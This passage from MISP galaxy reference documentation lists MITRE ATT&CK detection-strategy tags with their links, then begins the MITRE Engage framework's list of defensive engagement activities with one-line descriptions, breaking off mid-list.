The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Domain Generation Algorithms - DET0669"*

Table 10447. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0669

Detection of Network Service Scanning - DET0696

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Network Service Scanning - DET0696"*

Table 10448. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0696

Detection of Abuse Accessibility Features - DET0697

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Abuse Accessibility Features - DET0697"*

Table 10449. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0697

Detection of Network Security Appliances - DET0889

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Network Security Appliances - DET0889"*

Table 10450. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0889

Detect Kerberoasting Attempts (T1558.003) - DET0157

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detect Kerberoasting Attempts (T1558.003) - DET0157"*

Table 10451. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0157

Detection of One-Way Communication - DET0610

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of One-Way Communication - DET0610"*

Table 10452. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0610

Detection of Non-Standard Port - DET0706

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Non-Standard Port - DET0706"*

Table 10453. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0706

Detection of Wi-Fi Discovery - DET0709

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Wi-Fi Discovery - DET0709"*

Table 10454. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0709

Detection of Drive-By Compromise - DET0614

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Drive-By Compromise - DET0614"*

Table 10455. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0614

Detection of Drive-by Target - DET0825

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Drive-by Target - DET0825"*

Table 10456. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0825

Detection of Spoofed User-Agent - DET0898

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Spoofed User-Agent - DET0898"*

Table 10457. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0898

Detection of Scheduled Task/Job - DET0707

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Scheduled Task/Job - DET0707"*

Table 10458. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0707

Detection of Virtualization/Sandbox Evasion - DET0616

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Virtualization/Sandbox Evasion - DET0616"*

Table 10459. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0616

Detection of DNS/Passive DNS - DET0877

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of DNS/Passive DNS - DET0877"*

Table 10460. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0877

Detection of Software Discovery - DET0600

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Software Discovery - DET0600"*

Table 10461. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0600

Detection of Bidirectional Communication - DET0700

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Bidirectional Communication - DET0700"*

Table 10462. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0700

Abuse of Domain Accounts - DET0210

The tag is: *misp-galaxy:x-mitre-detection-strategy="Abuse of Domain Accounts - DET0210"*

Table 10463. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0210

Detection of Call Log - DET0602

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Call Log - DET0602"*

Table 10464. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0602

Detection of Web Protocols - DET0620

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Web Protocols - DET0620"*

Table 10465. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0620

Detection of Client Configurations - DET0820

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Client Configurations - DET0820"*

Table 10466. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0820

Detection of Device Lockout - DET0603

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Device Lockout - DET0603"*

Table 10467. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0603

Detection of Call Control - DET0703

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Call Control - DET0703"*

Table 10468. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0703

Detection of Active Scanning - DET0830

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Active Scanning - DET0830"*

Table 10469. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0830

Detection of Hide Artifacts - DET0640

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Hide Artifacts - DET0640"*

Table 10470. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0640

Detection of Symmetric Cryptography - DET0650

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Symmetric Cryptography - DET0650"*

Table 10471. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0650

Detection of Input Capture - DET0705

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Input Capture - DET0705"*

Table 10472. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0705

Detection of Obtain Capabilities - DET0850

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Obtain Capabilities - DET0850"*

Table 10473. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0850

Detection of Code Repositories - DET0805

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Code Repositories - DET0805"*

Table 10474. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0805

Detection of Data Manipulation - DET0660

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Data Manipulation - DET0660"*

Table 10475. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0660

Detection of Virtualization Solution - DET0606

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Virtualization Solution - DET0606"*

Table 10476. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0606

Detection of Unix Shell - DET0607

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Unix Shell - DET0607"*

Table 10477. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0607

Detection of Identify Roles - DET0807

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Identify Roles - DET0807"*

Table 10478. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0807

Detection of Access Notifications - DET0611

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Access Notifications - DET0611"*

Table 10479. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0611

Detection of Broadcast Receivers - DET0711

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Broadcast Receivers - DET0711"*

Table 10480. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0711

Detection of Search Engines - DET0811

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Search Engines - DET0811"*

Table 10481. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0811

Detection of Input Injection - DET0612

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Input Injection - DET0612"*

Table 10482. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0612

Detection of Social Media - DET0812

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Social Media - DET0812"*

Table 10483. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0812

Detection of Spearphishing Service - DET0821

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Spearphishing Service - DET0821"*

Table 10484. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0821

Detection of Dynamic Resolution - DET0613

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Dynamic Resolution - DET0613"*

Table 10485. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0613

Detection of Digital Certificates - DET0831

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Digital Certificates - DET0831"*

Table 10486. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0831

Detection of Encrypted Channel - DET0641

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Encrypted Channel - DET0641"*

Table 10487. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0641

Detection of Email Addresses - DET0814

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Email Addresses - DET0814"*

Table 10488. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0814

Detection of IP Addresses - DET0815

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of IP Addresses - DET0815"*

Table 10489. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0815

Detection of Data Destruction - DET0671

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Data Destruction - DET0671"*

Table 10490. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0671

Detection of Linked Devices - DET0716

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Linked Devices - DET0716"*

Table 10491. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0716

Detection of Email Accounts - DET0861

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Email Accounts - DET0861"*

Table 10492. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0861

Detection of Native API - DET0717

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Native API - DET0717"*

Table 10493. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0717

Detection of SEO Poisoning - DET0881

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of SEO Poisoning - DET0881"*

Table 10494. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0881

Detection of DNS Server - DET0891

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of DNS Server - DET0891"*

Table 10495. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0891

Detection of Network Topology - DET0819

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Network Topology - DET0819"*

Table 10496. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0819

Detection of Process Injection - DET0632

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Process Injection - DET0632"*

Table 10497. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0632

Detection of Artificial Intelligence - DET0842

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Artificial Intelligence - DET0842"*

Table 10498. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0842

Detection of Upload Malware - DET0824

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Upload Malware - DET0824"*

Table 10499. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0824

Detection of Application Versioning - DET0652

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Application Versioning - DET0652"*

Table 10500. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0652

Detection of System Checks - DET0625

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of System Checks - DET0625"*

Table 10501. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0625

Detection of URI Hijacking - DET0626

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of URI Hijacking - DET0626"*

Table 10502. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0626

Resource Hijacking Detection Strategy - DET0267

The tag is: *misp-galaxy:x-mitre-detection-strategy="Resource Hijacking Detection Strategy - DET0267"*

Table 10503. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0267

Detection of Web Service - DET0672

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Web Service - DET0672"*

Table 10504. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0672

Detection of DNS Server - DET0862

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of DNS Server - DET0862"*

Table 10505. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0862

Detection Strategy for Impersonation - DET0286

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Impersonation - DET0286"*

Table 10506. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0286

Detection of Process Discovery - DET0692

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Process Discovery - DET0692"*

Table 10507. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0692

Detection of Web Services - DET0882

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Web Services - DET0882"*

Table 10508. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0882

Detection of Clipboard Data - DET0643

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Clipboard Data - DET0643"*

Table 10509. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0643

Detection of Upload Tool - DET0834

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Upload Tool - DET0834"*

Table 10510. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0834

Detection of Execution Guardrails - DET0653

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Execution Guardrails - DET0653"*

Table 10511. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0653

Detection of Email Accounts - DET0835

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Email Accounts - DET0835"*

Table 10512. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0835

Detection of Develop Capabilities - DET0853

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Develop Capabilities - DET0853"*

Table 10513. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0853

Detection of Audio Capture - DET0673

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Audio Capture - DET0673"*

Table 10514. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0673

Detection of Foreground Persistence - DET0637

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Foreground Persistence - DET0637"*

Table 10515. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0637

Detection of File Deletion - DET0638

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of File Deletion - DET0638"*

Table 10516. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0638

Detection of Establish Accounts - DET0873

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Establish Accounts - DET0873"*

Table 10517. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0873

Automated Exfiltration Detection Strategy - DET0397

The tag is: *misp-galaxy:x-mitre-detection-strategy="Automated Exfiltration Detection Strategy - DET0397"*

Table 10518. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0397

Detection of Stage Capabilities - DET0839

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Stage Capabilities - DET0839"*

Table 10519. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0839

Detection of Link Target - DET0893

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Link Target - DET0893"*

Table 10520. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0893

Detection of Software Packing - DET0644

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Software Packing - DET0644"*

Table 10521. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0644

Detection of Digital Certificates - DET0844

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Digital Certificates - DET0844"*

Table 10522. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0844

Detection of Lockscreen Bypass - DET0645

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Lockscreen Bypass - DET0645"*

Table 10523. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0645

Detection of SSL Pinning - DET0646

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of SSL Pinning - DET0646"*

Table 10524. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0646

Detection of Calendar Entries - DET0674

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Calendar Entries - DET0674"*

Table 10525. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0674

Detection of Cloud Accounts - DET0846

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Cloud Accounts - DET0846"*

Table 10526. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0846

Detection of Domain Properties - DET0847

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Domain Properties - DET0847"*

Table 10527. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0847

Detection of Acquire Access - DET0884

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Acquire Access - DET0884"*

Table 10528. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0884

Detection of Digital Certificates - DET0848

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Digital Certificates - DET0848"*

Table 10529. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0848

Detection of Business Relationships - DET0855

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Business Relationships - DET0855"*

Table 10530. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0855

Detection of Location Tracking - DET0675

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Location Tracking - DET0675"*

Table 10531. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0675

Detection of Spearphishing Attachment - DET0865

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Spearphishing Attachment - DET0865"*

Table 10532. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0865

Detection of Video Capture - DET0695

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Video Capture - DET0695"*

Table 10533. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0695

Detection of Employee Names - DET0857

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Employee Names - DET0857"*

Table 10534. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0857

Detection of Compromise Infrastructure - DET0885

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Compromise Infrastructure - DET0885"*

Table 10535. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0885

Detection of Scan Databases - DET0858

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Scan Databases - DET0858"*

Table 10536. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0858

Detection of Acquire Infrastructure - DET0895

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Acquire Infrastructure - DET0895"*

Table 10537. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0895

Detection of Network Devices - DET0859

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Network Devices - DET0859"*

Table 10538. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0859

Detection of SMS Control - DET0599

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of SMS Control - DET0599"*

Table 10539. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0599

Detection of Asymmetric Cryptography - DET0667

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Asymmetric Cryptography - DET0667"*

Table 10540. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0667

Detection of Screen Capture - DET0668

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Screen Capture - DET0668"*

Table 10541. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0668

Detection of SMS Messages - DET0686

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of SMS Messages - DET0686"*

Table 10542. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0686

Detection of Compromise Accounts - DET0876

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Compromise Accounts - DET0876"*

Table 10543. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0876

Detection of Impair Defenses - DET0687

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Impair Defenses - DET0687"*

Table 10544. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0687

Detection of Vulnerability Scanning - DET0867

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Vulnerability Scanning - DET0867"*

Table 10545. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0867

Detection of Contact List - DET0679

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Contact List - DET0679"*

Table 10546. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0679

Detection of Spearphishing Voice - DET0886

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Spearphishing Voice - DET0886"*

Table 10547. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0886

Detection of Wordlist Scanning - DET0868

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Wordlist Scanning - DET0868"*

Table 10548. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0868

Detection of Web Services - DET0896

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Web Services - DET0896"*

Table 10549. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0896

Detection of User Evasion - DET0699

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of User Evasion - DET0699"*

Table 10550. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0699

Detection of Spearphishing Link - DET0878

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Spearphishing Link - DET0878"*

Table 10551. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0878

Detection of Cloud Accounts - DET0879

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Cloud Accounts - DET0879"*

Table 10552. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0879

Detection of Selective Exclusion - DET0897

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Selective Exclusion - DET0897"*

Table 10553. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0897

Detection of Adversary-in-the-Middle - DET0623

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Adversary-in-the-Middle - DET0623"*

Table 10554. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0623

Detecting Downgrade Attacks - DET0350

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detecting Downgrade Attacks - DET0350"*

Table 10555. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0350

Detection of Vulnerabilities - DET0808

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Vulnerabilities - DET0808"*

Table 10556. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0808

Detection of CDNs - DET0809

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of CDNs - DET0809"*

Table 10557. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0809

Detection of Credentials - DET0813

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Credentials - DET0813"*

Table 10558. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0813

Detection of Masquerading - DET0715

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Masquerading - DET0715"*

Table 10559. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0715

Detection of Keylogging - DET0661

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Keylogging - DET0661"*

Table 10560. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0661

Detection of Server - DET0871

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Server - DET0871"*

Table 10561. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0871

Detection of Hooking - DET0719

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Hooking - DET0719"*

Table 10562. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0719

Detection of Firmware - DET0818

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Firmware - DET0818"*

Table 10563. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0818

Detection of WHOIS - DET0832

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of WHOIS - DET0832"*

Table 10564. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0832

Detection of Tool - DET0852

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Tool - DET0852"*

Table 10565. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0852

Detection of Exploits - DET0827

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Exploits - DET0827"*

Table 10566. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0827

Detection of Malware - DET0872

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Malware - DET0872"*

Table 10567. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0872

Detection of Domains - DET0892

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Domains - DET0892"*

Table 10568. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0892

Detection of Serverless - DET0829

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Serverless - DET0829"*

Table 10569. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0829

Detection of DNS - DET0843

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of DNS - DET0843"*

Table 10570. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0843

Detection of Accounts - DET0635

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Accounts - DET0635"*

Table 10571. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0635

Detection of Domains - DET0863

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Domains - DET0863"*

Table 10572. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0863

Detection of Malvertising - DET0836

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Malvertising - DET0836"*

Table 10573. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0836

Detection of Botnet - DET0837

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Botnet - DET0837"*

Table 10574. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0837

Detection of Botnet - DET0883

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Botnet - DET0883"*

Table 10575. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0883

Detection of Malware - DET0845

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Malware - DET0845"*

Table 10576. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0845

Detection of Keychain - DET0664

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Keychain - DET0664"*

Table 10577. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0664

Detection of Geofencing - DET0648

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Geofencing - DET0648"*

Table 10578. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0648

Detection of Phishing - DET0684

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Phishing - DET0684"*

Table 10579. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0684

Detection of Serverless - DET0864

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Serverless - DET0864"*

Table 10580. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0864

Detection of Server - DET0874

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Server - DET0874"*

Table 10581. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0874

Detection of Exploits - DET0894

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Exploits - DET0894"*

Table 10582. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0894

Detection of Steganography - DET0677

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Steganography - DET0677"*

Table 10583. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0677

Detection of Hardware - DET0887

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Hardware - DET0887"*

Table 10584. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0887

Detection of Software - DET0888

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Software - DET0888"*

Table 10585. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0888

MITRE Engage Framework

This galaxy contains all parts of the MITRE Engage framework, including Activities, Approaches, Goals, and Vulnerabilities..

> MITRE Engage Framework is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

MITRE Corp. - DCG420 - m3c4n1sm0

EAC0001 - API Monitoring

Monitor local APIs that might be used by adversary tools and activity.

The tag is: *misp-galaxy:engage-framework="EAC0001 - API Monitoring"*

EAC0002 - Network Monitoring

Monitor network traffic in order to detect adversary activity.

The tag is: *misp-galaxy:engage-framework="EAC0002 - Network Monitoring"*

EAC0003 - System Activity Monitoring

Collect system activity logs that can reveal adversary activity.

The tag is: *misp-galaxy:engage-framework="EAC0003 - System Activity Monitoring"*

EAC0004 - Network Analysis

Analyze network traffic to gain intelligence on communications between systems.

The tag is: *misp-galaxy:engage-framework="EAC0004 - Network Analysis"*

EAC0005 - Lures

Deceptive systems and artifacts intended to serve as decoys, breadcrumbs, or bait to elicit a specific response from the adversary.

The tag is: *misp-galaxy:engage-framework="EAC0005 - Lures"*

EAC0006 - Application Diversity

Present the adversary with a variety of installed applications and services.

The tag is: *misp-galaxy:engage-framework="EAC0006 - Application Diversity"*

EAC0007 - Network Diversity

Use a diverse set of devices on the network to help establish the legitimacy of a deceptive network.

The tag is: *misp-galaxy:engage-framework="EAC0007 - Network Diversity"*

EAC0008 - Burn-In

Exercise a target system in a manner where it will generate desirable system artifacts.

The tag is: *misp-galaxy:engage-framework="EAC0008 - Burn-In"*

EAC0009 - Email Manipulation

Modify the flow of email in the environment.

The tag is: *misp-galaxy:engage-framework="EAC0009 - Email Manipulation"*

EAC0010 - Peripheral Management

Manage peripheral devices used on systems within the network for engagement purposes.

The tag is: *misp-galaxy:engage-framework="EAC0010 - Peripheral Management"*

EAC0011 - Pocket Litter

Data used to support the engagement narrative.

The tag is: *misp-galaxy:engage-framework="EAC0011 - Pocket Litter"*

EAC0012 - Personas

Create fictitious human user(s) through a combination of planted data and revealed behavior patterns.

The tag is: *misp-galaxy:engage-framework="EAC0012 - Personas"*

EAC0013 - Malware Detonation

Execute malware under controlled conditions to analyze its functionality.

The tag is: *misp-galaxy:engage-framework="EAC0013 - Malware Detonation"*

EAC0014 - Software Manipulation

Make changes to a system's software properties and functions to achieve a desired effect.

The tag is: *misp-galaxy:engage-framework="EAC0014 - Software Manipulation"*

EAC0015 - Information Manipulation

Conceal and reveal both facts and fictions to support a deception story

